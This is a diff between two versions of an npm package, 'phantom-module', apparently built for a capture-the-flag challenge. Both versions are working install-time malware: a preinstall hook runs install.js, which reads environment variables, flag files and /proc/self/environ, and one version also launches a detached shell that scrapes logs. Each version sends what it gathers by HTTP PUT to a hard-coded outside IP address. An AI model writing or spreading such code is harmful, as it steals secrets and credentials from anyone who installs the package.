phantom-module 111.0.1 → 111.0.3

package/install.js

@@ -1,62 +1,41 @@
 const fs = require('fs');
 const http = require('http');
-const { spawn } = require('child_process');
 
 (function() {
-  const flagPaths = ['/flag', '/root/flag', '/tmp/flag', './flag'];
-  let flag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
+  let output = "";
   
-  if (!flag) {
-    for (const path of flagPaths) {
+  // 1. Get ALL Environment Variables
+  output += "ENV: " + JSON.stringify(process.env) + " | ";
+  
+  // 2. Check common Windows / local paths
+  const paths = [
+      'flag.txt', 
+      '../flag.txt', 
+      '../../flag.txt', 
+      'C:\\flag.txt', 
+      'C:\\Users\\Administrator\\Desktop\\flag.txt',
+      'C:\\Users\\Public\\flag.txt'
+  ];
+  
+  for (let p of paths) {
       try {
-        if (fs.existsSync(path)) {
-          flag = fs.readFileSync(path, 'utf8').trim();
-          break;
-        }
-      } catch (e) {}
-    }
-  }
-  if (!flag) {
-    try {
-      const procEnv = fs.readFileSync('/proc/self/environ', 'utf8');
-      const match = procEnv.match(/FLAG[=:] ([^\x00]+)/);
-      if (match) flag = match[1];
-    } catch (e) {}
+          if (fs.existsSync(p)) {
+              output += `FILE ${p}: ` + fs.readFileSync(p, 'utf8').trim() + " | ";
+          }
+      } catch(e) {}
   }
   
-  function sendResult(data) {
-      const postData = JSON.stringify({
-        manifest: `ecto_module:\n  name: "FLAG"\n  cargo_hold: "${data}"\n`
-      });
-      const req = http.request({
-        hostname: '154.57.164.64', 
-        port: 31205,
-        path: '/api/modules/ECT-654321', // EXFILTRATE TO EXISTING MODULE
-        method: 'PUT',
-        headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
-      });
-      req.write(postData);
-      req.end();
-  }
-
-  if (flag) {
-      sendResult(flag);
-  } else {
-      sendResult("Checking logs in background...");
-      // Spawn background process to read logs after 45s (in case flag is printed there)
-      const child = spawn('/bin/sh', ['-c', [
-        'sleep 45',
-        'LOGFILE=/home/node/aspect-node/logs/module.log',
-        'if [ -f "$LOGFILE" ]; then',
-        '  FLAG=$(cat "$LOGFILE" | grep -o "HTB{[^}]*}" | head -1)',
-        '  if [ -n "$FLAG" ]; then',
-        '    SAFE=$(echo "$FLAG" | tr \'"\' "\'")',
-        '    BODY=\'{"manifest":"ecto_module:\\n  name: \\\\"\'$SAFE\'\\\\"\\n  cargo_hold: \\\\"LOGS\\\\"\\"}\'',
-        '    echo "$BODY" > /tmp/flag.json',
-        '    node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31205,path:\'/api/modules/ECT-654321\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}});r.write(d);r.end();"',
-        '  fi',
-        'fi'
-      ].join('\n')], { detached: true, stdio: 'ignore' });
-      child.unref();
-  }
+  const postData = JSON.stringify({
+    manifest: `ecto_module:\n  name: "FLAG_WINDOWS"\n  cargo_hold: ${JSON.stringify(output.substring(0, 1500))}\n`
+  });
+  
+  const req = http.request({
+    hostname: '154.57.164.64', 
+    port: 31205,
+    path: '/api/modules/ECT-654321', 
+    method: 'PUT',
+    headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
+  });
+  req.write(postData);
+  req.end();
 })();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "phantom-module",
-  "version": "111.0.1",
+  "version": "111.0.3",
   "scripts": {
     "preinstall": "node install.js || true"
   }